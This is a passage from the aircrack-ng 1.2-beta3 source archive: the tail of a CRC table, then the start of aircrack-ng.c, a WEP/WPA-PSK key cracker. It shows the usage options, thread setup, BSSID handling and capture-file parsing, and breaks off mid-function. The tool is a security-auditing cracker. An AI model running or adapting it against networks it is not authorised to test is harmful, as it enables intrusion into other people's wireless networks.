0x46,0x28,0x0B,0xBD }, { 0xC4,0x24,0xE9,0x0B }, { 0x85,0x22,0x98,0xD0 }, { 0x56,0x4C,0x1B,0x0A }, { 0x17,0x4A,0x6A,0xD1 }, { 0x95,0x46,0x88,0x67 }, { 0xD4,0x40,0xF9,0xBC }, { 0xD0,0x59,0x3D,0xD1 }, { 0x91,0x5F,0x4C,0x0A }, { 0x13,0x53,0xAE,0xBC }, { 0x52,0x55,0xDF,0x67 }, { 0x1B,0x61,0x26,0x67 }, { 0x5A,0x67,0x57,0xBC }, { 0xD8,0x6B,0xB5,0x0A }, { 0x99,0x6D,0xC4,0xD1 }, { 0x9D,0x74,0x00,0xBC }, { 0xDC,0x72,0x71,0x67 }, { 0x5E,0x7E,0x93,0xD1 }, { 0x1F,0x78,0xE2,0x0A }, { 0xB9,0xA5,0xE4,0xBF }, { 0xF8,0xA3,0x95,0x64 }, { 0x7A,0xAF,0x77,0xD2 }, { 0x3B,0xA9,0x06,0x09 }, { 0x3F,0xB0,0xC2,0x64 }, { 0x7E,0xB6,0xB3,0xBF }, { 0xFC,0xBA,0x51,0x09 }, { 0xBD,0xBC,0x20,0xD2 }, { 0xF4,0x88,0xD9,0xD2 }, { 0xB5,0x8E,0xA8,0x09 }, { 0x37,0x82,0x4A,0xBF }, { 0x76,0x84,0x3B,0x64 }, { 0x72,0x9D,0xFF,0x09 }, { 0x33,0x9B,0x8E,0xD2 }, { 0xB1,0x97,0x6C,0x64 }, { 0xF0,0x91,0x1D,0xBF }, { 0x23,0xFF,0x9E,0x65 }, { 0x62,0xF9,0xEF,0xBE }, { 0xE0,0xF5,0x0D,0x08 }, { 0xA1,0xF3,0x7C,0xD3 }, { 0xA5,0xEA,0xB8,0xBE }, { 0xE4,0xEC,0xC9,0x65 }, { 0x66,0xE0,0x2B,0xD3 }, { 0x27,0xE6,0x5A,0x08 }, { 0x6E,0xD2,0xA3,0x08 }, { 0x2F,0xD4,0xD2,0xD3 }, { 0xAD,0xD8,0x30,0x65 }, { 0xEC,0xDE,0x41,0xBE }, { 0xE8,0xC7,0x85,0xD3 }, { 0xA9,0xC1,0xF4,0x08 }, { 0x2B,0xCD,0x16,0xBE }, { 0x6A,0xCB,0x67,0x65 }, { 0xB3,0xBB,0x0D,0x6A }, { 0xF2,0xBD,0x7C,0xB1 }, { 0x70,0xB1,0x9E,0x07 }, { 0x31,0xB7,0xEF,0xDC }, { 0x35,0xAE,0x2B,0xB1 }, { 0x74,0xA8,0x5A,0x6A }, { 0xF6,0xA4,0xB8,0xDC }, { 0xB7,0xA2,0xC9,0x07 }, { 0xFE,0x96,0x30,0x07 }, { 0xBF,0x90,0x41,0xDC }, { 0x3D,0x9C,0xA3,0x6A }, { 0x7C,0x9A,0xD2,0xB1 }, { 0x78,0x83,0x16,0xDC }, { 0x39,0x85,0x67,0x07 }, { 0xBB,0x89,0x85,0xB1 }, { 0xFA,0x8F,0xF4,0x6A }, { 0x29,0xE1,0x77,0xB0 }, { 0x68,0xE7,0x06,0x6B }, { 0xEA,0xEB,0xE4,0xDD }, { 0xAB,0xED,0x95,0x06 }, { 0xAF,0xF4,0x51,0x6B }, { 0xEE,0xF2,0x20,0xB0 }, { 0x6C,0xFE,0xC2,0x06 }, { 0x2D,0xF8,0xB3,0xDD }, { 0x64,0xCC,0x4A,0xDD }, { 0x25,0xCA,0x3B,0x06 }, { 0xA7,0xC6,0xD9,0xB0 }, { 0xE6,0xC0,0xA8,0x6B }, { 0xE2,0xD9,0x6C,0x06 }, { 0xA3,0xDF,0x1D,0xDD }, { 0x21,0xD3,0xFF,0x6B }, { 0x60,0xD5,0x8E,0xB0 }, { 0xC6,0x08,0x88,0x05 }, { 0x87,0x0E,0xF9,0xDE }, { 0x05,0x02,0x1B,0x68 }, { 0x44,0x04,0x6A,0xB3 }, { 0x40,0x1D,0xAE,0xDE }, { 0x01,0x1B,0xDF,0x05 }, { 0x83,0x17,0x3D,0xB3 }, { 0xC2,0x11,0x4C,0x68 }, { 0x8B,0x25,0xB5,0x68 }, { 0xCA,0x23,0xC4,0xB3 }, { 0x48,0x2F,0x26,0x05 }, { 0x09,0x29,0x57,0xDE }, { 0x0D,0x30,0x93,0xB3 }, { 0x4C,0x36,0xE2,0x68 }, { 0xCE,0x3A,0x00,0xDE }, { 0x8F,0x3C,0x71,0x05 }, { 0x5C,0x52,0xF2,0xDF }, { 0x1D,0x54,0x83,0x04 }, { 0x9F,0x58,0x61,0xB2 }, { 0xDE,0x5E,0x10,0x69 }, { 0xDA,0x47,0xD4,0x04 }, { 0x9B,0x41,0xA5,0xDF }, { 0x19,0x4D,0x47,0x69 }, { 0x58,0x4B,0x36,0xB2 }, { 0x11,0x7F,0xCF,0xB2 }, { 0x50,0x79,0xBE,0x69 }, { 0xD2,0x75,0x5C,0xDF }, { 0x93,0x73,0x2D,0x04 }, { 0x97,0x6A,0xE9,0x69 }, { 0xD6,0x6C,0x98,0xB2 }, { 0x54,0x60,0x7A,0x04 }, { 0x15,0x66,0x0B,0xDF }, { 0x59,0xDD,0x06,0xB5 }, { 0x18,0xDB,0x77,0x6E }, { 0x9A,0xD7,0x95,0xD8 }, { 0xDB,0xD1,0xE4,0x03 }, { 0xDF,0xC8,0x20,0x6E }, { 0x9E,0xCE,0x51,0xB5 }, { 0x1C,0xC2,0xB3,0x03 }, { 0x5D,0xC4,0xC2,0xD8 }, { 0x14,0xF0,0x3B,0xD8 }, { 0x55,0xF6,0x4A,0x03 }, { 0xD7,0xFA,0xA8,0xB5 }, { 0x96,0xFC,0xD9,0x6E }, { 0x92,0xE5,0x1D,0x03 }, { 0xD3,0xE3,0x6C,0xD8 }, { 0x51,0xEF,0x8E,0x6E }, { 0x10,0xE9,0xFF,0xB5 }, { 0xC3,0x87,0x7C,0x6F }, { 0x82,0x81,0x0D,0xB4 }, { 0x00,0x8D,0xEF,0x02 }, { 0x41,0x8B,0x9E,0xD9 }, { 0x45,0x92,0x5A,0xB4 }, { 0x04,0x94,0x2B,0x6F }, { 0x86,0x98,0xC9,0xD9 }, { 0xC7,0x9E,0xB8,0x02 }, { 0x8E,0xAA,0x41,0x02 }, { 0xCF,0xAC,0x30,0xD9 }, { 0x4D,0xA0,0xD2,0x6F }, { 0x0C,0xA6,0xA3,0xB4 }, { 0x08,0xBF,0x67,0xD9 }, { 0x49,0xB9,0x16,0x02 }, { 0xCB,0xB5,0xF4,0xB4 }, { 0x8A,0xB3,0x85,0x6F }, { 0x2C,0x6E,0x83,0xDA }, { 0x6D,0x68,0xF2,0x01 }, { 0xEF,0x64,0x10,0xB7 }, { 0xAE,0x62,0x61,0x6C }, { 0xAA,0x7B,0xA5,0x01 }, { 0xEB,0x7D,0xD4,0xDA }, { 0x69,0x71,0x36,0x6C }, { 0x28,0x77,0x47,0xB7 }, { 0x61,0x43,0xBE,0xB7 }, { 0x20,0x45,0xCF,0x6C }, { 0xA2,0x49,0x2D,0xDA }, { 0xE3,0x4F,0x5C,0x01 }, { 0xE7,0x56,0x98,0x6C }, { 0xA6,0x50,0xE9,0xB7 }, { 0x24,0x5C,0x0B,0x01 }, { 0x65,0x5A,0x7A,0xDA }, { 0xB6,0x34,0xF9,0x00 }, { 0xF7,0x32,0x88,0xDB }, { 0x75,0x3E,0x6A,0x6D }, { 0x34,0x38,0x1B,0xB6 }, { 0x30,0x21,0xDF,0xDB }, { 0x71,0x27,0xAE,0x00 }, { 0xF3,0x2B,0x4C,0xB6 }, { 0xB2,0x2D,0x3D,0x6D }, { 0xFB,0x19,0xC4,0x6D }, { 0xBA,0x1F,0xB5,0xB6 }, { 0x38,0x13,0x57,0x00 }, { 0x79,0x15,0x26,0xDB }, { 0x7D,0x0C,0xE2,0xB6 }, { 0x3C,0x0A,0x93,0x6D }, { 0xBE,0x06,0x71,0xDB }, { 0xFF,0x00,0x00,0x00 } }; #endif /* crctable.h */ aircrack-ng-1.2-beta3/src/aircrack-ng.c0000644000000000000000000040711212316143503016346 0ustar rootroot/* * 802.11 WEP / WPA-PSK Key Cracker * * Copyright (C) 2006-2013 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * Advanced WEP attacks developed by KoreK * WPA-PSK attack code developed by Joshua Wright * SHA1 MMX assembly code written by Simon Marechal * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #define _GNU_SOURCE #include #if defined(ANDROID) || defined(__ANDROID__) #include #else #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "crypto.h" #include "pcap.h" #include "uniqueiv.h" #include "aircrack-ng.h" #include "sha1-sse2.h" #include "osdep/byteorder.h" #include "common.h" #include "wkp-frame.h" #ifdef HAVE_SQLITE #include sqlite3 *db; #endif #ifdef USE_GCRYPT GCRY_THREAD_OPTION_PTHREAD_IMPL; #endif extern int get_nb_cpus(); static uchar ZERO[32] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00"; /* stats global data */ static int _speed_test; struct timeval t_begin; /* time at start of attack */ struct timeval t_stats; /* time since last update */ struct timeval t_kprev; /* time at start of window */ long long int nb_kprev; /* last # of keys tried */ long long int nb_tried; /* total # of keys tried */ /* IPC global data */ struct AP_info *ap_1st; /* first item in linked list */ pthread_mutex_t mx_apl; /* lock write access to ap LL */ pthread_mutex_t mx_eof; /* lock write access to nb_eof */ pthread_mutex_t mx_ivb; /* lock access to ivbuf array */ pthread_mutex_t mx_dic; /* lock access to opt.dict */ pthread_cond_t cv_eof; /* read EOF condition variable */ int nb_eof = 0; /* # of threads who reached eof */ long nb_pkt = 0; /* # of packets read so far */ int mc_pipe[256][2]; /* master->child control pipe */ int cm_pipe[256][2]; /* child->master results pipe */ int bf_pipe[256][2]; /* bruteforcer 'queue' pipe */ int bf_nkeys[256]; uchar bf_wepkey[64]; int wepkey_crack_success = 0; int close_aircrack = 0; int id=0; pthread_t tid[MAX_THREADS]; struct WPA_data wpa_data[MAX_THREADS]; int wpa_wordlists_done = 0; static pthread_mutex_t mx_nb = PTHREAD_MUTEX_INITIALIZER; static pthread_mutex_t mx_wpastats = PTHREAD_MUTEX_INITIALIZER; #define GOT_IV 0x00000001 #define USE_IV 0x00000002 #define K01_IV 0x00000010 #define K02_IV 0x00000020 #define K03_IV 0x00000040 #define K04_IV 0x00000080 #define K05_IV 0x00000100 #define K06_IV 0x00000200 #define K07_IV 0x00000400 #define K08_IV 0x00000800 #define K09_IV 0x00001000 #define K10_IV 0x00002000 #define K11_IV 0x00004000 #define K12_IV 0x00008000 #define K13_IV 0x00010000 #define K14_IV 0x00020000 #define K15_IV 0x00040000 #define K16_IV 0x00080000 #define K17_IV 0x00100000 typedef struct { int off1; int off2; void *buf1; void *buf2; } read_buf; int K_COEFF[N_ATTACKS] = { 15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20 }; int PTW_DEFAULTWEIGHT[1] = { 256 }; int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; const uchar R[256] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20 , 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40 , 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60 , 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80 , 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100 , 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116 , 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132 , 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148 , 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164 , 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180 , 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196 , 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212 , 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228 , 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244 , 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255 }; char usage[] = "\n" " %s - (C) 2006-2013 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: aircrack-ng [options] <.cap / .ivs file(s)>\n" "\n" " Common options:\n" "\n" " -a : force attack mode (1/WEP, 2/WPA-PSK)\n" " -e : target selection: network identifier\n" " -b : target selection: access point's MAC\n" " -p : # of CPU to use (default: all CPUs)\n" " -q : enable quiet mode (no status output)\n" " -C : merge the given APs to a virtual one\n" " -l : write key to file\n" "\n" " Static WEP cracking options:\n" "\n" " -c : search alpha-numeric characters only\n" " -t : search binary coded decimal chr only\n" " -h : search the numeric key for Fritz!BOX\n" " -d : use masking of the key (A1:XX:CF:YY)\n" " -m : MAC address to filter usable packets\n" " -n : WEP key length : 64/128/152/256/512\n" " -i : WEP key index (1 to 4), default: any\n" " -f : bruteforce fudge factor, default: 2\n" " -k : disable one attack method (1 to 17)\n" " -x or -x0 : disable bruteforce for last keybytes\n" " -x1 : last keybyte bruteforcing (default)\n" " -x2 : enable last 2 keybytes bruteforcing" "%s" " -y : experimental single bruteforce mode\n" " -K : use only old KoreK attacks (pre-PTW)\n" " -s : show the key in ASCII while cracking\n" " -M : specify maximum number of IVs to use\n" " -D : WEP decloak, skips broken keystreams\n" " -P : PTW debug: 1: disable Klein, 2: PTW\n" " -1 : run only 1 try to crack key with PTW\n" "\n" " WEP and WPA-PSK cracking options:\n" "\n" " -w : path to wordlist(s) filename(s)\n" "\n" " WPA-PSK options:\n" "\n" " -E : create EWSA Project file v3\n" " -J : create Hashcat Capture file\n" " -S : WPA cracking speed test\n" #ifdef HAVE_SQLITE " -r : path to airolib-ng database\n" " (Cannot be used with -w)\n" #endif "\n" " Other options:\n" "\n" " -u : Displays # of CPUs & MMX/SSE support\n" " --help : Displays this usage screen\n" "\n"; char * progname; int intr_read = 0; int safe_write( int fd, void *buf, size_t len ); void clean_exit(int ret) { struct AP_info *ap_cur; struct AP_info *ap_prv; struct AP_info *ap_next; int i=0; // int j=0, k=0, attack=0; int child_pid; char tmpbuf[128]; memset(tmpbuf, 0, 128); if(ret && !opt.is_quiet) { printf("\nQuitting aircrack-ng...\n"); fflush(stdout); } close_aircrack = 1; for( i = 0; i < opt.nbcpu; i++ ) { #ifdef CYGWIN close( mc_pipe[i][1] ); close( bf_pipe[i][1] ); #else safe_write( mc_pipe[i][1], (void *) "EXIT\r", 5 ); safe_write( bf_pipe[i][1], (void *) tmpbuf, 64 ); #endif } if( opt.amode != 2 ) { for(i=0; iivbuf != NULL ) { free(ap_cur->ivbuf); ap_cur->ivbuf = NULL; } uniqueiv_wipe( ap_cur->uiv_root ); if( ap_cur->ptw_clean != NULL ) { if( ap_cur->ptw_clean->allsessions != NULL ) { free(ap_cur->ptw_clean->allsessions); ap_cur->ptw_clean->allsessions=NULL; } free(ap_cur->ptw_clean); ap_cur->ptw_clean = NULL; } if( ap_cur->ptw_vague != NULL ) { if( ap_cur->ptw_vague->allsessions != NULL ) { free(ap_cur->ptw_vague->allsessions); ap_cur->ptw_vague->allsessions = NULL; } free(ap_cur->ptw_vague); ap_cur->ptw_vague = NULL; } ap_prv = ap_cur; ap_cur = ap_cur->next; } ap_cur = ap_1st; while( ap_cur != NULL ) { ap_next = ap_cur->next; if( ap_cur != NULL ) free(ap_cur); ap_cur = ap_next; } // attack = A_s5_1; // printf("Please wait for evaluation...\n"); // for(i=0; i<(256*256*256); i++) // { // if((all_ivs[i].used & GOT_IV) && !(all_ivs[i].used & USE_IV)) // j++; // // if((all_ivs[i].used & GOT_IV) && (all_ivs[i].used & (1<<(attack+4)) ) ) // { // printf("IV %02X:%02X:%02X used for %d\n", (i/(256*256)), ((i&0xFFFF)/(256)), (i&0xFF), attack); // k++; // } // } // // printf("%d unused IVs\n", j); // printf("%d used IVs for %d\n", k, attack); child_pid=fork(); if(child_pid==-1) { /* do error stuff here */ } if(child_pid!=0) { /* The parent process exits here. */ exit(0); } _exit(ret); } void sighandler( int signum ) { #if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP)) _PGOPTI_Prof_Dump(); #endif signal( signum, sighandler ); if( signum == SIGQUIT ) clean_exit( SUCCESS ); // _exit( SUCCESS ); if( signum == SIGTERM ) clean_exit( FAILURE ); // _exit( FAILURE ); if( signum == SIGINT ) { #if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP)) clean_exit( FAILURE ); // _exit( FAILURE ); #else /* if(intr_read > 0)*/ clean_exit( FAILURE ); /* else intr_read++;*/ #endif } if( signum == SIGWINCH ) printf( "\33[2J\n" ); } void eof_wait( int *eof_notified ) { if( *eof_notified == 0 ) { *eof_notified = 1; /* tell the master thread we reached EOF */ pthread_mutex_lock( &mx_eof ); nb_eof++; pthread_cond_broadcast( &cv_eof ); pthread_mutex_unlock( &mx_eof ); } usleep( 100000 ); } inline int wpa_send_passphrase(char *key, struct WPA_data* data, int lock) { pthread_mutex_lock(&data->mutex); if ((data->back+1) % data->nkeys == data->front) { if (lock != 0) { // wait until there's room in the queue pthread_cond_wait(&data->cond, &data->mutex); } else { pthread_mutex_unlock(&data->mutex); return 0; // full queue! } } // put one key in the buffer: memcpy(data->key_buffer + data->back*128, key, 128); data->back = (data->back+1) % data->nkeys; pthread_mutex_unlock(&data->mutex); return 1; } inline int wpa_receive_passphrase(char *key, struct WPA_data* data) { pthread_mutex_lock(&data->mutex); if (data->front==data->back) { pthread_mutex_unlock(&data->mutex); return 0; // empty queue! } // get one key from the buffer: memcpy(key, data->key_buffer + data->front*128, 128); data->front = (data->front+1) % data->nkeys; // signal that there's now room in the queue for more keys pthread_cond_signal(&data->cond); pthread_mutex_unlock(&data->mutex); return 1; } int checkbssids(char *bssidlist) { int first = 1; int failed = 0; int i = 0; char *list, *frontlist, *tmp; int nbBSSID = 0; if(bssidlist == NULL) return -1; #define IS_X(x) ((x) == 'X' || (x) == 'x') #define VALID_CHAR(x) ((IS_X(x)) || hexCharToInt(x) > -1) #define VALID_SEP(arg) ( ((arg) == '_') || ((arg) == '-') || ((arg) == ':') ) frontlist = list = strdup(bssidlist); do { tmp = strsep(&list, ","); if (tmp == NULL) break; ++nbBSSID; if(strlen(tmp) != 17) failed = 1; //first byte if(!VALID_CHAR(tmp[ 0])) failed = 1; if(!VALID_CHAR(tmp[ 1])) failed = 1; if(!VALID_SEP( tmp[ 2])) failed = 1; //second byte if(!VALID_CHAR(tmp[ 3])) failed = 1; if(!VALID_CHAR(tmp[ 4])) failed = 1; if(!VALID_SEP( tmp[ 5])) failed = 1; //third byte if(!VALID_CHAR(tmp[ 6])) failed = 1; if(!VALID_CHAR(tmp[ 7])) failed = 1; if(!VALID_SEP( tmp[ 8])) failed = 1; //fourth byte if(!VALID_CHAR(tmp[ 9])) failed = 1; if(!VALID_CHAR(tmp[10])) failed = 1; if(!VALID_SEP( tmp[11])) failed = 1; //fifth byte if(!VALID_CHAR(tmp[12])) failed = 1; if(!VALID_CHAR(tmp[13])) failed = 1; if(!VALID_SEP( tmp[14])) failed = 1; //sixth byte if(!VALID_CHAR(tmp[15])) failed = 1; if(!VALID_CHAR(tmp[16])) failed = 1; if(failed) { free(frontlist); return -1; } if(first) { for(i=0; i< 17; i++) { if( IS_X(tmp[i])) { free(frontlist); return -1; } } opt.firstbssid = (unsigned char *) malloc(sizeof(unsigned char)); getmac(tmp, 1, opt.firstbssid); first = 0; } } while(list); // Success free(frontlist); return nbBSSID; } int mergebssids(char * bssidlist, unsigned char * bssid) { struct mergeBSSID * list_prev; struct mergeBSSID * list_cur; char * mac = NULL; char * list = NULL; char * tmp = NULL; char * tmp2 = NULL; int next, i, found; // Do not convert if equal to first bssid if (memcmp(opt.firstbssid, bssid, 6) == 0) return 1; list_prev = NULL; list_cur = opt.bssid_list_1st; while (list_cur != NULL) { if (memcmp(list_cur->bssid, bssid, 6) == 0) { if (list_cur->convert) memcpy(bssid, opt.firstbssid, 6); return list_cur->convert; } list_prev = list_cur; list_cur = list_cur->next; } // Not found, check if it has to be converted mac = (char *) malloc(18); if (!mac) { perror( "malloc failed" ); return -1; } snprintf(mac, 18, "%02X:%02X:%02X:%02X:%02X:%02X", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); mac[17] = 0; tmp2 = list = strdup(bssidlist); // skip first element (because it doesn't have to be converted // It already has the good value tmp = strsep(&list, ","); next = found = 0; do { next=0; tmp = strsep(&list, ","); if (tmp == NULL) break; // Length already checked, no need to check it again for( i = 0; i < 17; ++i) { if((IS_X(tmp[i]) || VALID_SEP(tmp[i]))) continue; if(toupper((int)tmp[i]) != (int)mac[i]) { // Not found next = 1; break; } } if(next == 0) { found = 1; break; } } while (list); // Free memory if(mac != NULL) free(mac); if(tmp2 != NULL) free(tmp2); // Add the result to the list list_cur = (struct mergeBSSID *) malloc(sizeof(struct mergeBSSID)); if (!list_cur) { perror( "malloc failed" ); return -1; } list_cur->convert = found; list_cur->next = NULL; memcpy(list_cur->bssid, bssid, 6); if (opt.bssid_list_1st == NULL) opt.bssid_list_1st = list_cur; else list_prev->next = list_cur; // Do not forget to convert if it was successful if (list_cur->convert) memcpy(bssid, opt.firstbssid, 6); #undef VALID_CHAR #undef VALID_SEP #undef IS_X return list_cur->convert; } /* fread isn't atomic, sadly */ int atomic_read( read_buf *rb, int fd, int len, void *buf ) { int n; if( close_aircrack ) return( CLOSE_IT ); if( rb->buf1 == NULL ) { rb->buf1 = malloc( 65536 ); rb->buf2 = malloc( 65536 ); if( rb->buf1 == NULL || rb->buf2 == NULL ) return( 0 ); rb->off1 = 0; rb->off2 = 0; } if( len > 65536 - rb->off1 ) { rb->off2 -= rb->off1; memcpy( rb->buf2, rb->buf1 + rb->off1, rb->off2 ); memcpy( rb->buf1, rb->buf2, rb->off2 ); rb->off1 = 0; } if( rb->off2 - rb->off1 >= len ) { memcpy( buf, rb->buf1 + rb->off1, len ); rb->off1 += len; return( 1 ); } else { n = read( fd, rb->buf1 + rb->off2, 65536 - rb->off2 ); if( n <= 0 ) return( 0 ); rb->off2 += n; if( rb->off2 - rb->off1 >= len ) { memcpy( buf, rb->buf1 + rb->off1, len ); rb->off1 += len; return( 1 ); } } return( 0 ); } void read_thread( void *arg ) { int fd, n, fmt; uint z; int eof_notified = 0; read_buf rb; // int ret=0; uchar bssid[6]; uchar dest[6]; uchar stmac[6]; uchar *buffer; uchar *h80211; uchar *p; int weight[16]; struct ivs2_pkthdr ivs2; struct ivs2_filehdr fivs2; struct pcap_pkthdr pkh; struct pcap_file_header pfh; struct AP_info *ap_prv, *ap_cur; struct ST_info *st_prv, *st_cur; signal( SIGINT, sighandler); memset( &rb, 0, sizeof( rb ) ); ap_cur = NULL; memset(&pfh, 0, sizeof(struct pcap_file_header)); if( ( buffer = (uchar *) malloc( 65536 ) ) == NULL ) { /* there is no buffer */ perror( "malloc failed" ); goto read_fail; } h80211 = buffer; if( ! opt.is_quiet ) printf( "Opening %s\n", (char *) arg ); if( strcmp( arg, "-" ) == 0 ) fd = 0; else { if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 ) { perror( "open failed" ); goto read_fail; } } if( ! atomic_read( &rb, fd, 4, &pfh ) ) { perror( "read(file header) failed" ); goto read_fail; } fmt = FORMAT_IVS; if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 && memcmp( &pfh, IVS2_MAGIC, 4 ) != 0) { fmt = FORMAT_CAP; if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "Unsupported file format " "(not a pcap or IVs file).\n" ); goto read_fail; } /* read the rest of the pcap file header */ if( ! atomic_read( &rb, fd, 20, (uchar *) &pfh + 4 ) ) { perror( "read(file header) failed" ); goto read_fail; } /* take care of endian issues and check the link type */ if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR) { fprintf( stderr, "This file is not a regular " "802.11 (wireless) capture.\n" ); goto read_fail; } } else { if( opt.wep_decloak ) { errx(1, "Can't use decloak wep mode with ivs\n"); /* XXX */ } if (memcmp( &pfh, IVS2_MAGIC, 4 ) == 0) { fmt = FORMAT_IVS2; if( ! atomic_read( &rb, fd, sizeof(struct ivs2_filehdr), (uchar *) &fivs2 ) ) { perror( "read(file header) failed" ); goto read_fail; } if(fivs2.version > IVS2_VERSION) { printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); goto read_fail; } } else if (opt.do_ptw) errx(1, "Can't do PTW with old IVS files, recapture without --ivs or use airodump-ng >= 1.0\n"); /* XXX */ } /* avoid blocking on reading the file */ if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); goto read_fail; } while( 1 ) { if( close_aircrack ) break; if( fmt == FORMAT_IVS ) { /* read one IV */ while( ! atomic_read( &rb, fd, 1, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; if( buffer[0] != 0xFF ) { /* new access point MAC */ bssid[0] = buffer[0]; while( ! atomic_read( &rb, fd, 5, bssid + 1 ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; } while( ! atomic_read( &rb, fd, 5, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; } else if( fmt == FORMAT_IVS2 ) { while( ! atomic_read( &rb, fd, sizeof( struct ivs2_pkthdr ), &ivs2 ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; if(ivs2.flags & IVS2_BSSID) { while( ! atomic_read( &rb, fd, 6, bssid ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; ivs2.len -= 6; } while( ! atomic_read( &rb, fd, ivs2.len, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; } else { while( ! atomic_read( &rb, fd, sizeof( pkh ), &pkh ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; if( pfh.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } if( pkh.caplen <= 0 || pkh.caplen > 65535 ) { fprintf( stderr, "\nInvalid packet capture length %d - " "corrupted file?\n", pkh.caplen ); eof_wait( &eof_notified ); _exit( FAILURE ); } while( ! atomic_read( &rb, fd, pkh.caplen, buffer ) ) eof_wait( &eof_notified ); if( close_aircrack ) break; h80211 = buffer; if( pfh.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else { n = *(int *)( h80211 + 4 ); if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } } /* prevent concurrent access on the linked list */ pthread_mutex_lock( &mx_apl ); nb_pkt++; if( fmt == FORMAT_CAP ) { /* skip packets smaller than a 802.11 header */ if( pkh.caplen < 24 ) goto unlock_mx_apl; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto unlock_mx_apl; /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: 